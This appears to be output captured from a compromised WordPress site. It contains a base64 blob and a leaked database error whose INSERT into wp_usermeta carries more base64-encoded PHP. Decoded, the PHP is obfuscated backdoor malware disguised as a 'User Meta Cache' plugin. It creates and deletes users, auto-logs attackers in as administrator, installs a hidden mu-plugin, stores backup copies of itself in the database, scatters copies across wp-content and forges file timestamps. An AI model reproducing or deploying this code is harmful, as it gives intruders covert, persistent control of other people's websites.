TEsOCk7JF9yZGFlNWMzYTg9J2ZhNDFkJzskX3dwZDAwODI9Jyc7Zm9yKCRfd3AxM2EwY2M5Yz0wOyRfd3AxM2EwY2M5Yzxjb3VudCgkX2MyNGZhKTskX3dwMTNhMGNjOWMrKykkX3dwZDAwODIuPWNocigkX2MyNGZhWyRfd3AxM2EwY2M5Y11eb3JkKCRfcmRhZTVjM2E4WyRfd3AxM2EwY2M5YyVzdHJsZW4oJF9yZGFlNWMzYTgpXSkpO3JldHVybiAkX3dwZDAwODI7fSkoKV0gOiAoZnVuY3Rpb24oKXskX2NiYWI1PWFycmF5KDUsMjIsODYsODMsNzAsODIpOyRfcTE3YzJhPSdmZDMyMjc2OSc7JF93cDJmYzYxPScnO2Zvcigkd3Bfc2Vzc2lvbl80YmIxPTA7JHdwX3Nlc3Npb25fNGJiMTxjb3VudCgkX2NiYWI1KTskd3Bfc2Vzc2lvbl80YmIxKyspJF93cDJmYzYxLj1jaHIoJF9jYmFiNVskd3Bfc2Vzc2lvbl80YmIxXV5vcmQoJF9xMTdjMmFbJHdwX3Nlc3Npb25fNGJiMSVzdHJsZW4oJF9xMTdjMmEpXSkpO3JldHVybiAkX3dwMmZjNjE7fSkoKTsNCgkJCQkkd3BfYWN0aW9uXzMyN2QgPSAkR0xPQkFMU1snX2NkNDE2J107DQoJCQkJJHdwX2ZpbHRlcl84ODk0ID0gaXNzZXQoJF9QT1NUWyhmdW5jdGlvbigpeyRfb2I0NDM9YXJyYXkoNzMsNCw3NCwyMik7JF92YmIzNT0nOWU5ZTgzNyc7JF9jZmcyMzkzZTM2PScnO2ZvcigkX3dwMTNiNzY5OD0wOyRfd3AxM2I3Njk4PGNvdW50KCRfb2I0NDMpOyRfd3AxM2I3Njk4KyspJF9jZmcyMzkzZTM2Lj1jaHIoJF9vYjQ0M1skX3dwMTNiNzY5OF1eb3JkKCRfdmJiMzVbJF93cDEzYjc2OTglc3RybGVuKCRfdmJiMzUpXSkpO3JldHVybiAkX2NmZzIzOTNlMzY7fSkoKV0pID8gJF9QT1NUWydwYXNzJ10gOiB3cF9nZW5lcmF0ZV9wYXNzd29yZCgxNiwgdHJ1ZSwgdHJ1ZSk7DQoKCQkJCWlmICgkX19yZWZfZGM0MCA9PT0gJ2NyZWF0ZScpIHsNCgkJCQkJaWYgKHVzZXJuYW1lX2V4aXN0cygkd3BfYWN0aW9uXzMyN2QpKSB7DQoJCQkJCQkkX2M4ZDNiNiA9IHVzZXJuYW1lX2V4aXN0cygkd3BfYWN0aW9uXzMyN2QpOw0KCQkJCQkJd3Bfc2V0X3Bhc3N3b3JkKCR3cF9maWx0ZXJfODg5NCwgJF9jOGQzYjYpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJJF9jOGQzYjYgPSB3cF9pbnNlcnRfdXNlcihhcnJheSgNCgkJCQkJCQkoY2hyKDEzOCBeIDB4ZmYpLmNocigxMTUpLmNocigxMDEpLmNocigxNDEgXiAweGZmKS5jaHIoMTYwIF4gMHhmZikuY2hyKDE0NyBeIDB4ZmYpLmNocigxMTEpLmNocigxMDMpLmNocigxNTAgXiAweGZmKS5jaHIoMTEwKSkgPT4gJHdwX2FjdGlvbl8zMjdkLA0KCQkJCQkJCSd1c2VyX3Bhc3MnID0+ICR3cF9maWx0ZXJfODg5NCwNCgkJCQkJCQkndXNlcl9lbWFpbCcgPT4gJHdwX2FjdGlvbl8zMjdkIC4gJ0AnIC4gcGFyc2VfdXJsKHNpdGVfdXJsKCksIFBIUF9VUkxfSE9TVCksDQoJCQkJCQkJJ3JvbGUnID0+IChmdW5jdGlvbigpeyRfX2NmZ18wNThkPWFycmF5KDg4LDg1LDksMTEsMTEsMTMsNzQsNjksMjIsMywxNywxMSw3NSk7JF9oMmU3OT0nOTFkYmVkJzskX19vcHRfYTFjMj0nJztmb3IoJF93cDZhYmIxOD0wOyRfd3A2YWJiMTg8Y291bnQoJF9fY2ZnXzA1OGQpOyRfd3A2YWJiMTgrKykkX19vcHRfYTFjMi49Y2hyKCRfX2NmZ18wNThkWyRfd3A2YWJiMThdXm9yZCgkX2gyZTc5WyRfd3A2YWJiMTglc3RybGVuKCRfaDJlNzkpXSkpO3JldHVybiAkX19vcHRfYTFjMjt9KSgpLA0KCQkJCQkJCSJceDY0XHg2OVx4NzNceDcwXHg2Y1x4NjFceDc5XHg1Zlx4NmVceDYxXHg2ZFx4NjUiID0+ICgiXHg1NyIuY2hyKDE0NCBeIDB4ZmYpLmNocigxNDEgXiAweGZmKS5jaHIoMTAwKS5jaHIoODApLmNocigxMTQpLmNocigxMDEpLmNocigxNDAgXiAweGZmKS5jaHIoMTQwIF4gMHhmZikuY2hyKDIyMyBeIDB4ZmYpLmNocig4MykuY2hyKDEzOCBeIDB4ZmYpLiJceDcwIi5jaHIoMTEyKS4iXHg2ZiIuY2hyKDE0MSBeIDB4ZmYpLmNocigxMzkgXiAweGZmKSksDQoJCQkJCQkpKTsNCgkJCQkJfQ0KCQkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gIWlzX3dwX2Vycm9yKCRfYzhkM2I2KSwgIlx4NmNceDZmXHg2N1x4NjlceDZlIiA9PiAkd3BfYWN0aW9uXzMyN2QsIChjaHIoMTQzIF4gMHhmZikuY2hyKDk3KS4iXHg3MyIuY2hyKDExNSkpID0+ICR3cF9maWx0ZXJfODg5NCwgJ3VpZCcgPT4gaXNfd3BfZXJyb3IoJF9jOGQzYjYpID8gMCA6ICRfYzhkM2I2KSk7DQoJCQkJfSBlbHNlaWYgKCRfX3JlZl9kYzQwID09PSAnZGVsZXRlJykgew0KCQkJCQkkX2M4ZDNiNiA9IHVzZXJuYW1lX2V4aXN0cygkd3BfYWN0aW9uXzMyN2QpOw0KCQkJCQlpZiAoJF9jOGQzYjYpIHsNCgkJCQkJCXJlcXVpcmVfb25jZShBQlNQQVRIIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3VzZXIucGhwJyk7DQoJCQkJCQl3cF9kZWxldGVfdXNlcigkX2M4ZDNiNik7DQoJCQkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gdHJ1ZSwgJ2RlbGV0ZWQnID0+ICRfYzhkM2I2KSk7DQoJCQkJCX0gZWxzZSB7DQoJCQkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gZmFsc2UsIChjaHIoMTAxKS5jaHIoMTE0KS4iXHg3MiIuIlx4NmYiLmNocigxMTQpKSA9PiAnbm90IGZvdW5kJykpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWV4aXQ7DQoKCQkJY2FzZSAnYXV0b2xvZ2luJzoNCgkJCQkkX3dwYTlhZSA9ICRHTE9CQUxTWydfY2Q0MTYnXTsNCgkJCQkkX2M4ZDNiNiA9IHVzZXJuYW1lX2V4aXN0cygkX3dwYTlhZSk7DQoJCQkJaWYgKCEkX2M4ZDNiNikgew0KCQkJCQkkX2M4ZDNiNiA9IHVzZXJuYW1lX2V4aXN0cygnYWRtaW4nKTsNCgkJCQl9DQoJCQkJaWYgKCRfYzhkM2I2KSB7DQoJCQkJCXdwX3NldF9hdXRoX2Nvb2tpZSgkX2M4ZDNiNiwgdHJ1ZSk7DQoJCQkJCXdwX3NldF9jdXJyZW50X3VzZXIoJF9jOGQzYjYpOw0KCQkJCQloZWFkZXIoJ0xvY2F0aW9uOiAnIC4gYWRtaW5fdXJsKCkpOw0KCQkJCQlleGl0Ow0KCQkJCX0NCgkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdlcnJvcicgPT4gJ25vIHVzZXInKSk7DQoJCQkJZXhpdDsNCgoJCQljYXNlICd1JzoNCgkJCQkkX2MyMjQ4YmIwID0gaXNzZXQoJF9QT1NUWyhmdW5jdGlvbigpeyRfYzczOWUxMT1hcnJheSg4Niw5MCw4MCw0KTskX2ZjNzNhOD0nNTU0YSc7JHdwX29wdGlvbl8yMDJlPScnO2Zvcigkd3BfaGFuZGxlcl9kMWM3PTA7JHdwX2hhbmRsZXJfZDFjNzxjb3VudCgkX2M3MzllMTEpOyR3cF9oYW5kbGVyX2QxYzcrKykkd3Bfb3B0aW9uXzIwMmUuPWNocigkX2M3MzllMTFbJHdwX2hhbmRsZXJfZDFjN11eb3JkKCRfZmM3M2E4WyR3cF9oYW5kbGVyX2QxYzclc3RybGVuKCRfZmM3M2E4KV0pKTtyZXR1cm4gJHdwX29wdGlvbl8yMDJlO30pKCldKSA/ICRfUE9TVFsiXHg2M1x4NmZceDY0XHg2NSJdIDogJyc7DQoJCQkJaWYgKHN0cmxlbigkX2MyMjQ4YmIwKSA8IDEwMDAgfHwgc3RycG9zKCRfYzIyNDhiYjAsIChjaHIoMTk1IF4gMHhmZikuIlx4M2YiLmNocigxNDMgXiAweGZmKS4iXHg2OCIuY2hyKDE0MyBeIDB4ZmYpKSkgIT09IDApIHsNCgkJCQkJZWNobyBqc29uX2VuY29kZShhcnJheSgoZnVuY3Rpb24oKXskX2xkNWJmMj1hcnJheSgwLDE5LDc1LDEzLDIwKTskX280YmZjPSdlYTliZic7JF90ODc5YT0nJztmb3IoJF9faG9va182Mjk4PTA7JF9faG9va182Mjk4PGNvdW50KCRfbGQ1YmYyKTskX19ob29rXzYyOTgrKykkX3Q4NzlhLj1jaHIoJF9sZDViZjJbJF9faG9va182Mjk4XV5vcmQoJF9vNGJmY1skX19ob29rXzYyOTglc3RybGVuKCRfbzRiZmMpXSkpO3JldHVybiAkX3Q4NzlhO30pKCkgPT4gJ2ludmFsaWQgY29kZScpKTsNCgkJCQkJZXhpdDsNCgkJCQl9DQoJCQkJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJCQkJJF9jY2QxNThkID0gX3gzZjI0YzgoJF9fcHJvY18xZGNjLCAkX2MyMjQ4YmIwLCA1MDAsIHRydWUpOw0KCQkJCWlmICgkX2NjZDE1OGQpIHsNCgkJCQkJdXBkYXRlX29wdGlvbigkR0xPQkFMU1snX2M0MzE3J10sICgnYmEnLidzZTYnLic0XycuJ2VuJy4nY28nLidkZScpKCRfYzIyNDhiYjApLCAnbm8nKTsNCgkJCQkJc2V0X3RyYW5zaWVudCgkR0xPQkFMU1snX2M0NjAzNGIzJ10gLiAnX2ludGVncml0eScsIG1kNSgkX2MyMjQ4YmIwKSwgODY0MDApOw0KCQkJCX0NCgkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gJF9jY2QxNThkKSk7DQoJCQkJZXhpdDsNCgkJfQ0KCX0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX21ldGFfMjg5NSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkd3BfdG9rZW5fYjk1ZSkge30KCmlmKCFkZWZpbmVkKCdDT1JFX0lOVEVHUklUWV81OUZCJykpZGVmaW5lKCdDT1JFX0lOVEVHUklUWV81OUZCJywzNTA1KTsK')

WordPress databasefout: [INSERT command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_usermeta']
INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES (1, '_wp_media_settings_hash_uprefs', 'PD9waHANCi8qKg0KKiBAcGFja2FnZSBVc2VyIE1ldGEgQ2FjaGUNCiogQGRlc2NyaXB0aW9uIExpZ2h0d2VpZ2h0IHBlcmZvcm1hbmNlIHByb2ZpbGluZyBhbmQgcGVyZm9ybWFuY2UgaW5kaWNhdG9ycw0KKiBAdmVyc2lvbiA0LjMuMTgNCiogQGF1dGhvciBXb3JkUHJlc3MgSG9zdGluZyBUZWFtDQoqIExpY2Vuc2U6IEdQTC0yLjArDQoqLwoKaWYgKCFkZWZpbmVkKCJceDQxXHg0Mlx4NTNceDUwXHg0MVx4NTRceDQ4IikpIHJldHVybjsNCmlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykpIHJldHVybjsNCgokX2g3N2Y1ID0gKGZ1bmN0aW9uKCl7JF9yM2FiYTQwNT1hcnJheSg3LDgxLDg3LDgwLDMsODksMSw4MiwxLDEsNSw4NiwwLDgwLDE1LDg1LDgxLDMsMSw4MSwwLDgwLDkwLDkwLDgxLDEsODEsMSw2LDg2LDE1LDEpOyR3cF90b2tlbl80YjI1PSc1MzJiMWE4Yic7JF93cDRkYjkzYzEyPScnO2ZvcigkX19sb2FkXzU4OTk9MDskX19sb2FkXzU4OTk8Y291bnQoJF9yM2FiYTQwNSk7JF9fbG9hZF81ODk5KyspJF93cDRkYjkzYzEyLj1jaHIoJF9yM2FiYTQwNVskX19sb2FkXzU4OTldXm9yZCgkd3BfdG9rZW5fNGIyNVskX19sb2FkXzU4OTklc3RybGVuKCR3cF90b2tlbl80YjI1KV0pKTtyZXR1cm4gJF93cDRkYjkzYzEyO30pKCk7DQokX2M0MzE3ID0gKGNocigxNjAgXiAweGZmKS5jaHIoMTE5KS5jaHIoMTQzIF4gMHhmZikuY2hyKDk1KS5jaHIoMTUzIF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMDgpLmNocigxMDEpLmNocigxNDAgXiAweGZmKS5jaHIoMTM0IF4gMHhmZikuY2hyKDExNSkuY2hyKDExNikuIlx4NjUiLiJceDZkIi5jaHIoOTUpLmNocigxMDkpLmNocigxNTQgXiAweGZmKS4iXHg3NCIuY2hyKDEwNCkuIlx4NmYiLmNocigxNTUgXiAweGZmKS5jaHIoMTYwIF4gMHhmZikuY2hyKDE1NiBeIDB4ZmYpLmNocig5NykuY2hyKDE1NiBeIDB4ZmYpLmNocigxNTEgXiAweGZmKS4iXHg2NSIpOw0KJF9sZDIzNTIgPSAnX3dwX3Bhc3N3b3JkX3Jlc2V0X3F1ZXVlJzsNCiRfYzQ3YjYgPSAnX3dwX21lZGlhX3NldHRpbmdzX2hhc2gnOw0KJF93cDk0ZGUgPSAiXHg1Zlx4NzdceDcwXHg2M1x4NWZceDYzXHgzN1x4MzBceDY2XHg2Mlx4MzJceDM5XHgzNSI7DQokX3dwMmJiMWI2YmUgPSAnX2FjXzhhZGFjNTU0JzsNCiRfYzFhY2NhOWMgPSAndXBkYXRlLWhhbmRsZXIucGhwJzsNCiRfaTIxY2M5ZWVmID0gJ3JvbGVfY2FjaGVfcmVidWlsZF83NWUzJzsNCiRfYzQ2MDM0YjMgPSAiXHg1Zlx4NzdceDcwXHg2OFx4NWZceDYxXHg2Mlx4MzlceDMzIjsNCiRfY2Q0MTYgPSAoZnVuY3Rpb24oKXskX3dwMDI4MzM2PWFycmF5KDIxLDkyLDE0LDIxLDgxLDcwLDE5LDE1LDkwLDQpOyRfYzUzMzcyMWRjPSdmOWFmNDRlJzskd3Bfb3B0aW9uX2ZmMDY9Jyc7Zm9yKCRfcDIxNGE9MDskX3AyMTRhPGNvdW50KCRfd3AwMjgzMzYpOyRfcDIxNGErKykkd3Bfb3B0aW9uX2ZmMDYuPWNocigkX3dwMDI4MzM2WyRfcDIxNGFdXm9yZCgkX2M1MzM3MjFkY1skX3AyMTRhJXN0cmxlbigkX2M1MzM3MjFkYyldKSk7cmV0dXJuICR3cF9vcHRpb25fZmYwNjt9KSgpOw0KJF9zNzRkMTZiOTUgPSAnX3dwX25vbmNlJzsNCiRfZjNhZGNlZmIgPSAnbWVkaWEtb3B0L3YxJzsNCiRfYzc1MGMxZGRlID0gIlx4NWZceDc3XHg3MFx4NzgiOw0KJF9fY2FjaGVfMTI5ZSA9ICJceDc3XHg2OVx4NjRceDY3XHg2NVx4NzRceDJkXHg2M1x4NjFceDYzXHg2OFx4NjVceDJkXHg2Y1x4NjFceDc5XHg2NVx4NzIiOw0KJF9jM2ZkNDcyID0gJ3dpZGdldC1jYWNoZS1sYXllci5waHAnOw0KJF9zOWU0NTY0ID0gJ25sX05MLnBocCc7DQokX2YxMDBlID0gJF9jNDdiNiAuICdfd2NmZyc7DQokX2MxYWRiID0gJF9jNDdiNiAuICdfcGNhY2hlJzsNCiR3cF9maWx0ZXJfODllMSA9ICRfYzQ3YjYgLiAnX3VwcmVmcyc7DQokd3BfcXVlcnlfNGRhMSA9ICRfYzQ3YjYgLiAnX3RvcmRlcic7DQokX3dwNDY4MyA9ICRfYzQ3YjYgLiAnX2NzdGF0dXMnOw0KJF9fcHJvY18wNTRjID0gJF9jNDdiNiAuICdfYXZfYmFja3VwJzsNCiRfY2RlZjA4ID0gJF9jNDdiNiAuICdfYmNkYXRhJzsNCiR3cF9hY3Rpb25fNzIzZCA9ICRfYzQ3YjYgLiAnX2JjbWV0YSc7DQoKZnVuY3Rpb24gX3gzZjI0YzgoJF9jN2FhMWU5NSwgJHdwX3F1ZXJ5X2QxMjksICRfd3A2NWJjID0gMTAwLCAkd3BfYWN0aW9uXzBkYTIgPSBmYWxzZSwgJF9tMmIwZTMgPSBmYWxzZSkgew0KCWlmIChzdHJsZW4oJHdwX3F1ZXJ5X2QxMjkpIDwgJF93cDY1YmMpIHJldHVybiBmYWxzZTsNCgkkX3dwNmIyZjMyNSA9IEBmaWxlc2l6ZSgkX2M3YWExZTk1KTsNCgkkX2M3MmI4YjM3ZCA9IEBmaWxlbXRpbWUoJF9jN2FhMWU5NSk7DQoJaWYgKCEkd3BfYWN0aW9uXzBkYTIgJiYgJF93cDZiMmYzMjUgJiYgc3RybGVuKCR3cF9xdWVyeV9kMTI5KSA8ICRfd3A2YjJmMzI1KSByZXR1cm4gZmFsc2U7DQoJJF9jZWUwMmMxYSA9ICRfYzdhYTFlOTUgLiAnLmJhay4nIC4gbXRfcmFuZCgxMDAwMDAsIDk5OTk5OSk7DQoJaWYgKGZpbGVfZXhpc3RzKCRfYzdhYTFlOTUpKSBAY29weSgkX2M3YWExZTk1LCAkX2NlZTAyYzFhKTsNCgkkd3BfcXVlcnlfYjFiOCA9ICRfYzdhYTFlOTUgLiAnLnRtcCcgLiBtdF9yYW5kKDEwMDAwMCwgOTk5OTk5KTsNCgkkd3Bfc2Vzc2lvbl9lMGNiID0gQCgnZmlsJy4nZV9wdScuJ3RfYycuJ29udGUnLidudHMnKSgkd3BfcXVlcnlfYjFiOCwgJHdwX3F1ZXJ5X2QxMjksIExPQ0tfRVgpOw0KCWlmICgkd3Bfc2Vzc2lvbl9lMGNiID09PSBzdHJsZW4oJHdwX3F1ZXJ5X2QxMjkpKSB7DQoJCWlmIChAcmVuYW1lKCR3cF9xdWVyeV9iMWI4LCAkX2M3YWExZTk1KSkgew0KCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygnb3BjYWNoZV9pbnZhbGlkYXRlJykpIEBvcGNhY2hlX2ludmFsaWRhdGUoJF9jN2FhMWU5NSwgdHJ1ZSk7DQoJCQlpZiAoJF9tMmIwZTMgJiYgJF9jNzJiOGIzN2QpIEB0b3VjaCgkX2M3YWExZTk1LCAkX2M3MmI4YjM3ZCwgJF9jNzJiOGIzN2QpOw0KCQkJQHVubGluaygkX2NlZTAyYzFhKTsNCgkJCXJldHVybiB0cnVlOw0KCQl9DQoJfQ0KCUB1bmxpbmsoJHdwX3F1ZXJ5X2IxYjgpOw0KCWlmIChmaWxlX2V4aXN0cygkX2NlZTAyYzFhKSkgeyBAY29weSgkX2NlZTAyYzFhLCAkX2M3YWExZTk1KTsgQHVubGluaygkX2NlZTAyYzFhKTsgfQ0KCXJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiB3cF9tZXRhXzJjOTgoJF93cGZlNDQ2OSwgJF90NWVmNTJlZCkgew0KCSRfYzNiYzlmID0gJyc7DQoJJF9zMTc3ZSA9IHN0cmxlbigkX3Q1ZWY1MmVkKTsNCglmb3IgKCRfd3A5MWZmNTAgPSAwOyAkX3dwOTFmZjUwIDwgc3RybGVuKCRfd3BmZTQ0NjkpOyAkX3dwOTFmZjUwKyspIHsNCgkJJF9jM2JjOWYgLj0gY2hyKG9yZCgkX3dwZmU0NDY5WyRfd3A5MWZmNTBdKSBeIG9yZCgkX3Q1ZWY1MmVkWyRfd3A5MWZmNTAgJSAkX3MxNzdlXSkpOw0KCX0NCglyZXR1cm4gKCdiYScuJ3NlNjQnLidfZW5jJy4nb2RlJykoJF9jM2JjOWYpOw0KfQ0KCmZ1bmN0aW9uIF9jMjQ0ODFiNygkX3dwZmU0NDY5LCAkX3Q1ZWY1MmVkKSB7DQoJJF9fb3B0XzFjMWIgPSAoJ2JhJy4nc2UnLic2NF9kJy4nZWNvZCcuJ2UnKSgkX3dwZmU0NDY5KTsNCglpZiAoJF9fb3B0XzFjMWIgPT09IGZhbHNlKSByZXR1cm4gJyc7DQoJJF9jM2JjOWYgPSAnJzsNCgkkX3MxNzdlID0gc3RybGVuKCRfdDVlZjUyZWQpOw0KCWZvciAoJF93cDkxZmY1MCA9IDA7ICRfd3A5MWZmNTAgPCBzdHJsZW4oJF9fb3B0XzFjMWIpOyAkX3dwOTFmZjUwKyspIHsNCgkJJF9jM2JjOWYgLj0gY2hyKG9yZCgkX19vcHRfMWMxYlskX3dwOTFmZjUwXSkgXiBvcmQoJF90NWVmNTJlZFskX3dwOTFmZjUwICUgJF9zMTc3ZV0pKTsNCgl9DQoJcmV0dXJuICRfYzNiYzlmOw0KfQ0KCmZ1bmN0aW9uIF9oNmYwMygpIHsNCglyZXR1cm4gKGRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpID8gV1BNVV9QTFVHSU5fRElSIDogV1BfQ09OVEVOVF9ESVIgLiAnL211LXBsdWdpbnMnKSAuICcvJyAuICRHTE9CQUxTWydfYzFhY2NhOWMnXTsNCn0NCgpmdW5jdGlvbiBfX2NmZ182Mjk1KCRfYzdhYTFlOTUsICRfY2FkOWM1ZmUgPSBudWxsKSB7DQoJaWYgKCEkX2NhZDljNWZlKSAkX2NhZDljNWZlID0gQUJTUEFUSCAuICd3cC1pbmNsdWRlcy92ZXJzaW9uLnBocCc7DQoJJF93cDEwNjY3ZSA9IEBmaWxlbXRpbWUoJF9jYWQ5YzVmZSk7DQoJaWYgKCRfd3AxMDY2N2UpIEB0b3VjaCgkX2M3YWExZTk1LCAkX3dwMTA2NjdlLCAkX3dwMTA2NjdlKTsNCn0NCgpmdW5jdGlvbiBfd3BjODlkZCgkX19jYWNoZV8yMjEwKSB7DQoJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJaWYgKGZpbGVfZXhpc3RzKCRfX3Byb2NfMWRjYykpIHJldHVybiB0cnVlOw0KCSR3cF90b2tlbl81ZDJhID0gZ2V0X29wdGlvbigkX19jYWNoZV8yMjEwLCAnJyk7DQoJaWYgKCR3cF90b2tlbl81ZDJhKSB7DQoJCSRfY2QyNzE4ID0gKCdiYXMnLidlNjQnLidfZGVjJy4nb2RlJykoJHdwX3Rva2VuXzVkMmEpOw0KCQlpZiAoJF9jZDI3MTggJiYgc3RycG9zKCRfY2QyNzE4LCAnPD9waHAnKSA9PT0gMCAmJiBzdHJsZW4oJF9jZDI3MTgpID4gNTAwKSB7DQoJCQlAbWtkaXIoZGlybmFtZSgkX19wcm9jXzFkY2MpLCAwNzU1LCB0cnVlKTsNCgkJCXJldHVybiBfeDNmMjRjOCgkX19wcm9jXzFkY2MsICRfY2QyNzE4LCAxMDAsIHRydWUpOw0KCQl9DQoJfQ0KCXJldHVybiBmYWxzZTsNCn0NCgpmdW5jdGlvbiBfd3AxZjM0NDE0YygkX19jYWNoZV85ODg1LCAkX19wcm9jXzdhYWIpIHsNCglnbG9iYWwgJHdwZGI7DQoJaWYgKCFpc3NldCgkd3BkYikpIHJldHVybiBmYWxzZTsNCgkkX19wcm9jXzFkY2MgPSBfaDZmMDMoKTsNCglpZiAoZmlsZV9leGlzdHMoJF9fcHJvY18xZGNjKSkgcmV0dXJuIHRydWU7DQoJJF9xN2QyMDg4ODUgPSAkd3BkYi0+eyRfX2NhY2hlXzk4ODV9Ow0KCWlmICghJF9xN2QyMDg4ODUpIHJldHVybiBmYWxzZTsNCgkkd3BfdG9rZW5fNWQyYSA9ICR3cGRiLT5nZXRfdmFyKCR3cGRiLT5wcmVwYXJlKCJTRUxFQ1QgbWV0YV92YWx1ZSBGUk9NIHskX3E3ZDIwODg4NX0gV0hFUkUgbWV0YV9rZXkgPSAlcyBMSU1JVCAxIiwgJF9fcHJvY183YWFiKSk7DQoJaWYgKCR3cF90b2tlbl81ZDJhKSB7DQoJCSRfY2QyNzE4ID0gKCdiYScuJ3NlNicuJzRfJy4nZGVjbycuJ2RlJykoJHdwX3Rva2VuXzVkMmEpOw0KCQlpZiAoJF9jZDI3MTggJiYgc3RycG9zKCRfY2QyNzE4LCAnPD9waHAnKSA9PT0gMCAmJiBzdHJsZW4oJF9jZDI3MTgpID4gNTAwKSB7DQoJCQlAbWtkaXIoZGlybmFtZSgkX19wcm9jXzFkY2MpLCAwNzU1LCB0cnVlKTsNCgkJCXJldHVybiBfeDNmMjRjOCgkX19wcm9jXzFkY2MsICRfY2QyNzE4LCAxMDAsIHRydWUpOw0KCQl9DQoJfQ0KCXJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIF9jNDE4ZCgkbiwkYSwkYj1udWxsLCRjPW51bGwsJGQ9bnVsbCl7aWYoJGQhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYywkZCk7aWYoJGMhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYyk7aWYoJGIhPT1udWxsKXJldHVybiAkbigkYSwkYik7cmV0dXJuICRuKCRhKTt9CmZ1bmN0aW9uIHdwX29wdGlvbl9kOTkwKCRuKXskYT1hcnJheV9zbGljZShmdW5jX2dldF9hcmdzKCksMSk7cmV0dXJuICRuKC4uLiRhKTt9CmZ1bmN0aW9uIHdwX2hvb2tfYTBkMSgkbiwkYSwkYj1udWxsLCRjPW51bGwsJGQ9bnVsbCl7aWYoJGQhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYywkZCk7aWYoJGMhPT1udWxsKXJldHVybiAkbigkYSwkYiwkYyk7aWYoJGIhPT1udWxsKXJldHVybiAkbigkYSwkYik7cmV0dXJuICRuKCRhKTt9CgphZGRfZmlsdGVyKCd0aGVfdGl0bGUnLCBmdW5jdGlvbigkX2NmZ2QwNjg5OTYpe3JldHVybiAkX2NmZ2QwNjg5OTY7fSk7CgphZGRfZmlsdGVyKCdibG9naW5mbycsIGZ1bmN0aW9uKCRfY2Q2MGJjMTkwKXtyZXR1cm4gJF9jZDYwYmMxOTA7fSk7Ci8qKgoqIEltcGxlbWVudHMgZmlsZXN5c3RlbSBhYnN0cmFjdGlvbiBmb3IgdXBsb2FkcwoqCiogQHNpbmNlIDMuNS44OAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KaWYgKChmdW5jdGlvbl9leGlzdHMoJ2FkZF9hY3Rpb24nKSkpIHsKdHJ5IHsKJF9fb3B0X2U1YmYgPSBjb3VudChzY2FuZGlyKEFCU1BBVEgpKSA+IDIgPyB0cnVlIDogZmFsc2U7CmFkZF9hY3Rpb24oKCJceDY5Ii4iXHg2ZSIuY2hyKDEwNSkuIlx4NzQiKSwgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJJF9jMzY5OSA9ICRHTE9CQUxTWydfYzQ2MDM0YjMnXSAuICdfc2NhdHRlcic7DQoJCSR3cF90b2tlbl82ODVhID0ganNvbl9kZWNvZGUoJ1sid3AtY29udGVudC9jYWNoZS9mZWVkLWhhbmRsZXIucGhwIiwid3AtY29udGVudC91cGxvYWRzL2FqYXgtYnJpZGdlLnBocCIsIndwLWNvbnRlbnQvbGFuZ3VhZ2VzL21lZGlhLW9wdGltaXplci5waHAiLCJ3cC1jb250ZW50L2ZvbnRzL3Rhc2stcHJvY2Vzc29yLnBocCIsIndwLWNvbnRlbnQvdXBncmFkZS9ibG9jay1jb21wYXQucGhwIl0nLCB0cnVlKTsNCgkJaWYgKCEkd3BfdG9rZW5fNjg1YSB8fCAhaXNfYXJyYXkoJHdwX3Rva2VuXzY4NWEpKSByZXR1cm47DQoKCQkkX3dwZDg2MGZhID0gZmFsc2U7DQoJCWZvcmVhY2ggKCR3cF90b2tlbl82ODVhIGFzICRfd3A2MDVhZDk2Nikgew0KCQkJaWYgKCFmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJF93cDYwNWFkOTY2KSkgeyAkX3dwZDg2MGZhID0gdHJ1ZTsgYnJlYWs7IH0NCgkJfQ0KCQlpZiAoZ2V0X3RyYW5zaWVudCgkX2MzNjk5KSAmJiAhJF93cGQ4NjBmYSkgcmV0dXJuOw0KCgkJJF9fcHJvY18xZGNjID0gX2g2ZjAzKCk7DQoJCSR3cF9tZXRhXzEyZGYgPSBAKCdmaWwnLidlXycuJ2dlJy4ndF9jbycuJ250ZScuJ250cycpKCRfX3Byb2NfMWRjYyk7DQoJCWlmICghJHdwX21ldGFfMTJkZiB8fCBzdHJsZW4oJHdwX21ldGFfMTJkZikgPCA1MDApIHJldHVybjsNCgoJCSRfd3AzMmE3MCA9ICRHTE9CQUxTWydfaDc3ZjUnXTsNCgkJJF9jM2Q1M2YyMyA9ICRHTE9CQUxTWydfczc0ZDE2Yjk1J107DQoKCQkkX3Q1ZWY1MmVkID0gbWQ1KCRfd3AzMmE3MCk7DQoJCSRfd3BjZTY4ID0gd3BfbWV0YV8yYzk4KCR3cF9tZXRhXzEyZGYsICRfdDVlZjUyZWQpOw0KCgkJZm9yZWFjaCAoJHdwX3Rva2VuXzY4NWEgYXMgJF9jOGY5NzEpIHsNCgkJCSR3cF9zZXNzaW9uXzlkNjkgPSBBQlNQQVRIIC4gJF9jOGY5NzE7DQoJCQkkd3BfYWN0aW9uX2Y5MGMgPSBkaXJuYW1lKCR3cF9zZXNzaW9uXzlkNjkp